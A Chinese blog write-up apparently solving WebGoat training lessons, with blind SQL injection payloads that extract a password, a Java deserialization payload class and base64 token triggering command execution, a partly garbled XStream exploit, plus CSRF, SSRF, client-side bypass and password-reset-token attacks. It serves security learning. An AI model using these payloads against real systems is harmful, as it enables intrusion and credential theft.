tom' AND ASCII(SUBSTR((SELECT LIMIT 6 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem),9,1))>1 AND 'HIjb'='HIjb"

既然是注册功能,当然注册的表中也能看到所有的记录

再战WebGoat之代码审计_第100张图片

有了这些,我们也来手动试一下爆破库,就爆破webgoat这个库吧

一共7个库,webgoat是第六个,webgoat有7位

第一位,w,对应ascii的十进制为119,我们就大于118,大于118肯定是true,所以AND true的结果也为true,所以后台判断是找到了这个用户,就会返回已存在

tom' AND ASCII(SUBSTR((SELECT LIMIT 5 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem),1,1))>118 AND '1'='1

再战WebGoat之代码审计_第101张图片

我们已经知道w的ASCII码十进制为119,所以大于119位false,没找到这个用户,所以就能注册

tom' AND ASCII(SUBSTR((SELECT LIMIT 5 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem),1,1))>119 AND '1'='1

再战WebGoat之代码审计_第102张图片

不过我这里再往下的话,也确实进行不下去了

sqlmap也没扫出来

再战WebGoat之代码审计_第103张图片

那就得换个思路了,这里直接爆破密码的列名,使用,说下思路,如果列名pass存在,那么列名的长度length肯定大于0,也就是true,也就会返回用户已经存在的响应,否则返回的就是solution错误的

tom' and length(pass)>0--+
Sorry the solution is not correct, please try again.

bp爆破开整

再战WebGoat之代码审计_第104张图片

导入sqlmap的列名字典

再战WebGoat之代码审计_第105张图片

412长度的响应都是用户已存在

很明显412的列都是存在的,那密码相关的自然就是password

再战WebGoat之代码审计_第106张图片

爆破出了密码的字段名,接下来就是长度和具体内容了

依旧是412,那就是23位呗

再战WebGoat之代码审计_第107张图片

接下来爆破每一位

tom' and substring(password,§1§,1)='2'--+

再战WebGoat之代码审计_第108张图片

第一个参数就选1-24

第二个参数就选a-z(这里我已经知道答案是小写,不然会都选)

再战WebGoat之代码审计_第109张图片

再战WebGoat之代码审计_第110张图片

爆破出结果,还是412长度响应的

再战WebGoat之代码审计_第111张图片

7	7	a	200	false	false	412	
58	10	c	200	false	false	412	
105	9	e	200	false	false	412	
108	12	e	200	false	false	412	
134	14	f	200	false	false	412	
170	2	h	200	false	false	412	
195	3	i	200	false	false	412	
197	5	i	200	false	false	412	
286	22	l	200	false	false	412	
307	19	m	200	false	false	412	
333	21	n	200	false	false	412	
351	15	o	200	false	false	412	
354	18	o	200	false	false	412	
356	20	o	200	false	false	412	
419	11	r	200	false	false	412	
424	16	r	200	false	false	412	
436	4	s	200	false	false	412	
438	6	s	200	false	false	412	
440	8	s	200	false	false	412	
457	1	t	200	false	false	412	
469	13	t	200	false	false	412	
473	17	t	200	false	false	412	
599	23	y	200	false	false	412	

payload1就是第几位,payload2就是具体的内容

最后为thisisasecretfortomonly

再战WebGoat之代码审计_第112张图片

我们来看一下源码,先看注册这里

一般的注册都会操作两次数据库,第一次要查一下注册的账户是否存在

在第一次查注册账户是否存在的时候,就疏忽了没有用参数化查询,导致这里产生了sql注入

在第二步插入的时候就用的参数化,所以我们在第一步查询的时候只要让结果返回false说明没查到,第二步就直接原封不动的插入了

再战WebGoat之代码审计_第113张图片

再看登录这里,参数化查询,如果输入的用户名和密码在库中查到了,并且用户名还是tom就返回success

再战WebGoat之代码审计_第114张图片

Answer all questions correctly to complete the assignment

1. What is the difference between a prepared statement and a statement?
Solution 1: Prepared statements are statements with hard-coded parameters.
Solution 2: Prepared statements are not stored in the database.
Solution 3: A statement is faster.
Solution 4: A statement has got values instead of a prepared statement
首先清楚预防sql注入最佳实践就是预处理
预处理 = prepared statement = 参数化查询,原理就是先编译好sql语句,再往里填参数,这样不会影响原有sql语句的逻辑,当然也会提高效率,因为语句都是提前编译好了的
1.预处理是带有硬编码的,显然不对通过占位符,很灵活啊
2.预处理不存在数据库,怎么不存了?
3.显然是预处理略快


2. Which one of the following characters is a placeholder for variables?
Solution 1: *
Solution 2: =
Solution 3: ?
Solution 4: !
通过多次看代码也发现了,预处理的时候都是用?当的占位符

3. How can prepared statements be faster than statements?
Solution 1: They are not static so they can compile better written code than statements.
Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
Solution 3: Prepared statements are stored and wait for input it raises performance considerably.
Solution 4: Oracle optimized prepared statements. Because of the minimal use of the databases resources it is faster.
预处理怎么就比普通的处理快了
2.现在数据库编译,等待输入

4. How can a prepared statement prevent SQL-Injection?
Solution 1: Prepared statements have got an inner check to distinguish between input and logical errors.
Solution 2: Prepared statements use the placeholders to make rules what input is allowed to use.
Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
Solution 4: Prepared statements always read inputs literally and never mixes it with its SQL commands.
预处理怎么防御sql注入
3.防止用户输入附加到sql语句中

5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?
Solution 1: The table Students and all of its content will be deleted.
Solution 2: The input deletes all students with the name Robert.
Solution 3: The database registers 'Robert' and deletes the table afterwards.
Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
这里要小心点,一不小心就会选成1,在注册输入框中输入:Robert); DROP TABLE Students;--,首先会注册一个Robert,然后在删除表Students,选4

再战WebGoat之代码审计_第115张图片

SQL Injection (mitigation)

教我们如何预防sql注入

大概思路就是,先用正则做一些简单的过滤,再加上参数化查询,这样真的会把渗透测试人员整崩溃哦

做安全的不仅要能测试漏洞,还要帮研发去考虑修复方案,甚至是实现修复

Try it! Writing safe code

让我们用安全的方式完善下列的sql语句,一看就是让我们联系参数化查询

我们上面才看了tom登录的时候用的就是参数化查询,照葫芦画瓢

getConnection
PreparedStatement
prepareStatement
?
?
prep.setString(1,"tom");
prep.setString(2,"[email protected]");

再战WebGoat之代码审计_第116张图片

看看后台代码是怎么检查的

可以看到,先定义了一个数组results是正确答案

然后将用户输入的7个参数写入UserInput数组,遍历数组挨个和正确答案比较,不过这里比较用的可是包含,也就是说用户输入的参数只要包含关键字即可,那。。。?

再战WebGoat之代码审计_第117张图片

果然也行,最好还是限制一下长度吧,或者正则做做匹配

再战WebGoat之代码审计_第118张图片

Try it! Writing safe code

这道题就没有上一道题那么友好了,我也是开启了Debug模式调试了几十分钟才过了这一关

这一关的目标很明确,就不是只填写几个关键字就能过关,需要我们写整段代码,当然也没那么简单,我反复调试过多次后,才发现,这里是要根据我们提交的这段代码,进行类的创建编译,并且错误的size数量要小于1也就是没有错误才能算过关(为什么我能记住size?问就是我的代码一直在报错)

再战WebGoat之代码审计_第119张图片

首先我们来看源码,这个源码分三步走

1.将输入的源数据转成单行,然后分别匹配类似上一道题的那种关键字

2.将输入的源数据系统帮忙加上类头那些import等等

3.创建这个类Test.java,并且编译,如果所有关键字都匹配上,并且编译没有问题,就走到success

为了照顾大家的感受,我就直接演示调试成功的过程,刚好也学学这种代码审计引擎

答案

try {
    Connection connection = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    String query = "SELECT * FROM users WHERE name = ?";
    PreparedStatement preparedStatement = connection.prepareStatement(query);
    preparedStatement.setString(1, "weizi");
    preparedStatement.executeUpdate();
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

输入后会进入completed方法

我们输入的内容在editor变量里面,我们先把核心代码拷贝出来分析一下

            #判断的输入,如果空,就直接返回了不往下进行
            if (editor.isEmpty()) return failed(this).feedback("sql-injection.10b.no-code").build();
			#做一次正则匹配+替换,如果遇到了类似html标签的

再战WebGoat之代码审计_第280张图片

响应里也可以看出回显的信息

再战WebGoat之代码审计_第281张图片

看下源码,只要我们提交的内容含有script标签,标签内容为alert或者console都可以

再战WebGoat之代码审计_第282张图片

但是这个反射型的XSS貌似没法利用,我把webgoat设置成可远程访问,就是搭建的时候修改ip

直接访问提交表单,根本没法输出,所以这块的反射型XSS让我感觉很鸡肋

再战WebGoat之代码审计_第283张图片

Identify potential for DOM-Based XSS

根据提示在GoatRouter.js找路由,这个没啥说的

start.mvc#test

Try It! DOM-Based XSS

这也通过控制台直接执行js,然后就把随机值提交

再战WebGoat之代码审计_第284张图片

这个确实有点简单了,webgoat的xss感觉写的不是那么好,而且还没存储型xss

再战WebGoat之代码审计_第285张图片

(A8) Insecure Deserialization

所有人员请注意,所有人员请注意,java反序列化,他来了,目前来说,反序列化可以说是我最喜欢的漏洞之一,当然这次也要拿出看家本领来,在跟B站蜗牛学苑学完php反序列化后,正愁没地方施展呢,刚好遇见了她,话不多说,反序列化抓住两点,源代码逻辑和面向属性编程,有了这两点,其他一切都是浮云,我们直接看源码

webgoat本意是让我们输入一串经过序列化后的字符串,当然webgoat会把这段字符串进行反序列化,反序列化后,要求时间卡在3-7s内,就算过关
46行,我们输入的字符串是token变量
54行,这里要注意,先把我们输入的token进行base解码,再new ByteArrayInputStream(),再new ObjectInputStream(),最后赋值给了ois,ois就很荣幸的成为了反序列化后的对象了
56行,会调用这个对象的readObject()方法, 后面会用到
55行和63行,记录了这个过程的时间戳,如果时间戳相减在3000-7000也就是3-7s,那就success,代码一般执行快得很都是毫秒级别,所以这就要求我们“拖延时间”,怎么“拖延时间”,我们就要找哪里是可以执行命令/函数的地方,并且用户要可控,看到第56行调用了readObject(),一般来说就要全局搜索这个方法看看有没有参数可控,但是这里在57行已经做了提示了57行,如果一旦57行成立了,那么进入这个if后,不管哪个分支结果只有一个,就是return failed,所以不能让57行成立,也就是readObject()的结果不是VulnerableTaskHolder的对象,既然提到了这个类,我们进去看看

再战WebGoat之代码审计_第286张图片

进入这个类后,可以看到

38行,这个类也有readObject()方法,那如果上面的ois是这个类的对象,就可以执行这里的readObject(),并且这个方法的返回值还未void,岂不是天助我也?
59行,会执行java的exec()方法,这个方法可以执行操作系统的命令,比如exec("ping www.baidu.com"),那么如果里面的参数taskAction可控,我们让他多ping几次,时间不就够了
18行,taskAction不就正是这个类的一个属性吗,我们面向属性编程的时候,把这个属性的值注入了,不就完事了
55行,这里要注意taskAction要以ping或者sleep开头,并且总长度要小于22

再战WebGoat之代码审计_第287张图片

有了这些我们就可以开始payload的构造了,也就是面向属性编程

掏出eclipse看看helloworld能通不,说起eclipse就恼火,当时跑webgoat,优先考虑的是她,结果maven一导入1000多个ERROR

再战WebGoat之代码审计_第288张图片

继续我们的面向属性编程,既然决定要用这个类VulnerableTaskHolder,那我们的杂七杂八的信息要和这个类一样,包名要一样吧,要不到时候反序列化的时候找不到这个类,然后taskAction是我们要赋值的属性,其他的什么toString()方法,别的属性,一概可以不要

再战WebGoat之代码审计_第289张图片

右键创建类,包名一致,类名一致,实现序列化接口,加上主函数,我们一个类搞定

在这里插入图片描述

这就是面向属性编程的魅力,代码就这么点,没有那么多的“长篇大论”

package org.dummy.insecure.framework;

import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class VulnerableTaskHolder implements Serializable {
	private static final long serialVersionUID = 2;
	
	private String taskAction;
	
	public VulnerableTaskHolder(String taskAction) {
		this.taskAction = taskAction;
	}
	
	public static void main(String[] args) throws IOException {
		VulnerableTaskHolder vuln = new VulnerableTaskHolder("whatwever","ping 1 -n 6");
		ByteArrayOutputStream bOut = new ByteArrayOutputStream();
		ObjectOutputStream objOut = new ObjectOutputStream(bOut);
		objOut.writeObject(vuln);
		String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
		System.out.println(str);
		objOut.close();
	}
}

之前我们先对token进行base解码,再new ByteArrayInputStream(),再new ObjectInputStream(),最后赋值给了ois,ois就很荣幸的成为了反序列化后的对象了,这里就要反着来了,要达到的目的就是把taskAction赋值为ping 1 -n 6,让他ping6次“拖延时间”

再战WebGoat之代码审计_第290张图片

生成一段base64的编码

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==

拿去浏览器提交,把这个属性注入之后,ping 当然一堆中文乱码

再战WebGoat之代码审计_第291张图片

我这里是5s多,返回success

再战WebGoat之代码审计_第292张图片

再战WebGoat之代码审计_第293张图片

不管是java反序列化还是php反序列化,一定要抓住面向属性编程这一特点,我们只关注哪些属性能帮我们完成我们的目标,然后一步一步塌下心来,跟踪代码的逻辑,一定可以成功

再战WebGoat之代码审计_第294张图片

(A9) Vulnerable Components

Vulnerable Components

The exploit is not always in “your” code

到了中间件/组件漏洞了,jquery在1.12.0就不能执行script了

再战WebGoat之代码审计_第295张图片

Exploiting CVE-2013-7285 (XStream)

试了好多payload,结果看见说,只有用docker跑的时候才可,那就算了不多花时间了


    foo
    
	    java.lang.Comparable
	    
	        
	            
	                calc
	            
	        
	        start
	    
	

再战WebGoat之代码审计_第296张图片

(A8:2013) Request Forgeries

Cross-Site Request Forgeries

直接点击提交查询,什么也查不到

再战WebGoat之代码审计_第297张图片

再战WebGoat之代码审计_第298张图片

使用bp的csrf poc

再战WebGoat之代码审计_第299张图片

再战WebGoat之代码审计_第300张图片

再战WebGoat之代码审计_第301张图片

输入flag

再战WebGoat之代码审计_第302张图片

看看源码吧,当我们直接访问页面,不通过csrf时

会比较Host和Referer

再战WebGoat之代码审计_第303张图片

两个一样,说明没有跨域flag为空

再战WebGoat之代码审计_第304张图片

如果是通过burp构造的poc来的,那Referer自然就是bp的了

这也就引入了一个跨站请求伪造的特点,跨域

再战WebGoat之代码审计_第305张图片

再战WebGoat之代码审计_第306张图片

Post a review on someone else’s behalf

已经知道原理了,我们随便抓个包,把Referer改的不一样就好了

再战WebGoat之代码审计_第307张图片

CSRF and content-type

这个和之前题目唯一不一样的就是需要把content-type改为text的

再战WebGoat之代码审计_第308张图片

直接上代码

这里如果想要78行为true,那么75行就要为true,因此,74行的hostOrRefererDifferentHost(request)、75行的requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE)都要为true

hostOrRefererDifferentHost(request)在93行定义,也就是判断Referer是否包含Host,这个通过bp就可以解决,或者我们自己改成不一样的

requestContainsWebGoatCookie(request.getCookies())是要保证我们登录了,因为csrf就需要被攻击的用户在浏览器是登录状态

request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE)保证我们的content-type为MediaType.TEXT_PLAIN_VALUE,而MediaType.TEXT_PLAIN_VALUE就是text/plain

在这里插入图片描述

分析完源码以后,我们这样处理

请求体无所谓不用改,把content-type改成text的,然后直接上poc了

再战WebGoat之代码审计_第309张图片

发现总会报个异常

再战WebGoat之代码审计_第310张图片

原来是webgoat在我们修改后,自动加个=,真是煞费苦心啊

再战WebGoat之代码审计_第311张图片

去掉等号,就成功拿到随机值了

在这里插入图片描述

再战WebGoat之代码审计_第312张图片

Login CSRF attack

说实话,这道题,确实有点无力吐槽,登录的csrf,登录确实有可能存在csrf,但是利用率极低,如果都能构造出用户名和密码了,还搞什么csrf,webgoat应该也是想提醒大家,所有提交数据的地方都有可能产生csrf

至于这道题,换个浏览器,创建一个csrf-webgoat登录,点一下solved就过了,csrf-后面的内容要是现有账户的用户名

这道题要是换个注册,用户一点击就注册了一个用户或者换成删除也行

再战WebGoat之代码审计_第313张图片

再战WebGoat之代码审计_第314张图片

Server-Side Request Forgery

Find and modify the request to display Jerry

说完了csrf,也该说ssrf,csrf是客户端请求伪造,通过伪造连接,让客户端点击,ssrf是服务器端请求伪造,伪造请求让服务器帮我们发送,达到内网嗅探的效果

再战WebGoat之代码审计_第315张图片

让获取jerry的,过于简单了,本来是tom的,改成jerry就好了

再战WebGoat之代码审计_第316张图片

再战WebGoat之代码审计_第317张图片

Change the request so the server gets information from http://ifconfig.pro

既然要访问http://ifconfig.pro,那就改

再战WebGoat之代码审计_第318张图片

再战WebGoat之代码审计_第319张图片

看一下源码吧

可以看到,通过webgoat的服务器,向http://ifconfig.pro发送了请求

再战WebGoat之代码审计_第320张图片

Client side

Bypass front-end restrictions

Field Restrictions

客户端可以改js+html,所以一切在客户端也就是前端做的校验,都是可以绕过的

这里看似表单做了很强大的限制,但是我们都可以通过html网页进行html属性的修改,比如最常用的,测sql注入或者xss输入框属性限制长度,直接F12把长度改大,或者bp更直接

再战WebGoat之代码审计_第321张图片

再战WebGoat之代码审计_第322张图片

后台做了这样的判断,很简单只要不再这5个if内即可

再战WebGoat之代码审计_第323张图片

Validation

跟上题一样,前端做了正则也没用

Field 1: exactly three lowercase characters(^[a-z]{3}$)
abc
a-z三位,我们写123

Field 2: exactly three digits(^[0-9]{3}$)
123
0-9三位,我们写abc

Field 3: letters, numbers, and space only(^[a-zA-Z0-9 ]*$)
abc 123 ABC
只存在数字大小写字母,那我们就写!

Field 4: enumeration of numbers (^(one|two|three|four|five|six|seven|eight|nine)$)
seven
只允许1-9的英文,我们写ten

Field 5: simple zip code (^\d{5}$)
01101
5位数字,我们写6位666666

Field 6: zip with optional dash four (^\d{5}(-\d{4})?$)
90210-1111
5位数字-4位数字,我们写5位数字-5位数字,90210-55555

Field 7: US phone number with or without dashes (^[2-9]\d{2}-?\d{3}-?\d{4}$)
301-604-4882 
第一位2-9然后跟2位数字-3位数字-4位数字,我们把第1位改成1

再战WebGoat之代码审计_第324张图片

再战WebGoat之代码审计_第325张图片

Salary manager

我们是Stooge,这个下拉列表可以看每个人的工资,但是下拉列表里没有ceo Neville 的工资信息,让我们找出他的工资,我在下拉列表换了几个人后,发现一个请求都没有发,只有一个可能,这些信息提前存储在html中也就是客户端,只是以隐藏的方式出现

再战WebGoat之代码审计_第326张图片

搜一下Neville,填入

再战WebGoat之代码审计_第327张图片

再战WebGoat之代码审计_第328张图片

No need to pay if you know the code …

0元购手机,这道题要进行js的debug了

再战WebGoat之代码审计_第329张图片

前面我们都是在后台java处debug,前端的js也有执行逻辑,所以也有debug

我们目标是要获取免费的checkout,在页面里搜checkout效果不大,使用360或者chrome浏览器打个断点看看

在金额这里,邮件打个断点,然后随便写checkout点提交,跟踪js

再战WebGoat之代码审计_第330张图片

接下来就是一下下一步,并且每个js里面都搜索checkout

再战WebGoat之代码审计_第331张图片

最终在VM开头的js中找到了这个关键字,这里给了我们个URLclientSideFiltering/challenge-store/coupons/

再战WebGoat之代码审计_第332张图片

访问一下拿到get_it_for_free

再战WebGoat之代码审计_第333张图片

再战WebGoat之代码审计_第334张图片

HTML tampering

Try it yourself

1台电视机2999,

再战WebGoat之代码审计_第335张图片

让我们以更少的价格买多台

再战WebGoat之代码审计_第336张图片

改个请求完事,做了这么多了,后台写的肯定是价格少于2999,数量大于1就返回success

再战WebGoat之代码审计_第337张图片

Challenges

CTF的脑洞风波了

Admin lost password

就给了个登录框,发送请求,也没什么提示,但是一个图片很显眼

再战WebGoat之代码审计_第338张图片

图片右键保存下来,用nodepad++打开,发现用户名和密码,输入即可过关,当然也可以输入回显的flag也一样

再战WebGoat之代码审计_第339张图片

再战WebGoat之代码审计_第340张图片

Without password

以Larry的身份登录

再战WebGoat之代码审计_第341张图片

就一个登录框能发请求,没办法了试试万能密码,用户名应该是不存在sql注入,进行预处理了或者就是有输入校验的判断,试试密码

在这里插入图片描述

密码果然可以

再战WebGoat之代码审计_第342张图片

Admin password reset

重置admin密码

再战WebGoat之代码审计_第343张图片

往当前用户的邮箱发一个邮件

[email protected]

再战WebGoat之代码审计_第344张图片

webwolf收到邮件,并提示了重置密码的链接

http://localhost:8080/WebGoat/challenge/7/reset-password/9faf9d8d29db6ae7ae3d98f5c0e3e073

再战WebGoat之代码审计_第345张图片

改端口访问后,说不是admin的,那么我可不可以这么认为,之前做过一次重置密码的题目,就是通过后面的密文,进行越权重置密码,如果我们获得admin的信息,替换掉这个url最后面的密文,是不是就可以重置了

再战WebGoat之代码审计_第346张图片

但是我们现在如何获取admin的信息呢,F12,在页面里找到了这样一个url

再战WebGoat之代码审计_第347张图片

访问一下看看,结果没有权限

再战WebGoat之代码审计_第348张图片

回到上一级的git呢,自动下载了一个文件

再战WebGoat之代码审计_第349张图片

用notepad++看看是个什么类型的文件

再战WebGoat之代码审计_第350张图片

安装插件,504B03可知是zip类型的

常见文件的二进制

https://blog.csdn.net/chenshukui8300/article/details/100920225

再战WebGoat之代码审计_第351张图片

再战WebGoat之代码审计_第352张图片

再战WebGoat之代码审计_第353张图片

再战WebGoat之代码审计_第354张图片

反手改成zip,并解压,不过解压后也没啥,只能通过git恢复版本看看历史记录的版本有什么信息了

在这里插入图片描述

git reset --hard

再战WebGoat之代码审计_第355张图片

恢复了不少文件,其中一个叫做PasswordResetLink.class是真的醒目,不过已经被编译了,我们需要通过jd-gui反编译看看

这不就是生成重置密码链接的代码吗

再战WebGoat之代码审计_第356张图片

再战WebGoat之代码审计_第357张图片

立马拷贝到eclipse里面跑一下不就出来,当然这个类还要依赖上面的MD5类,一并拷贝过去

在这里插入图片描述

这里要分析源码了

24行,主函数带参,参数是个字符串数组
25-27行,判断如果这个数组是空或者长度不为2,就直接退出啦,也就是说想往下进行,paramArrayOfString要有两个元素
28-29行,把第一个元素赋值给str1,第二个元素赋值给str2
32行,然后把str1和str2作为参数传给第7行的createPasswordReset(String paramString1, String paramString2),所以paramString1是str1,paramString2是str2,我们跟踪到第7行
8行,如果paramString1是admin的话就给随机值设置种子,这里注意,随机值的设置依赖种子,但是这里是伪随机,意味着,种子一样,创建的随机值就一样,如果说第8行paramString1是admin,第9行产生的随机值就以paramString2的长度为种子,看到这里其实就够了,都不用再往下跟了,如果说我们给定的paramString2的长度和真实的长度一样,那么种子长度一样,生成的随机数肯定也一样,所以关键就在于paramString2的长度是多少,推测paramString1实际上就对应用户名,而paramString2对应密码,那把paramString2的长度挨个试一试不就好了,我这里试到第13位的时候,产生的链接可以重置,所以密码就是13位

其实再往下看代码也不难,感兴趣的可以debug跟踪一下

再战WebGoat之代码审计_第358张图片

这里运行代码要注意,这个是主函数带参,其实这里也有点面向属性的感觉,我要改变的值是paramString1和paramString2,也就是str1和str2,我未必非得从主函数参数里拿吧,活人还能被尿憋死,我直接创建一个数组

再战WebGoat之代码审计_第359张图片

或者更暴力直接这么改,结果不也一样吗,str1铁定要是admin这变不了,改变str2的长度,看看哪个长度产生的链接最后能访问不就好了

再战WebGoat之代码审计_第360张图片

把这个字符串拼接到刚刚的重置密码的链接上

再战WebGoat之代码审计_第361张图片

再战WebGoat之代码审计_第362张图片

Without account

让我们投票,但是我点击投票却又让我登录

再战WebGoat之代码审计_第363张图片

点击5星,会抓到一个请求

再战WebGoat之代码审计_第364张图片

再战WebGoat之代码审计_第365张图片

放到bp里重放,并改成HEAD

再战WebGoat之代码审计_第366张图片

再战WebGoat之代码审计_第367张图片

看源码,只要不是GET就可以输出flag

再战WebGoat之代码审计_第368张图片

你可能感兴趣的:(WEB安全,web安全,webgoat,渗透测试,代码审计)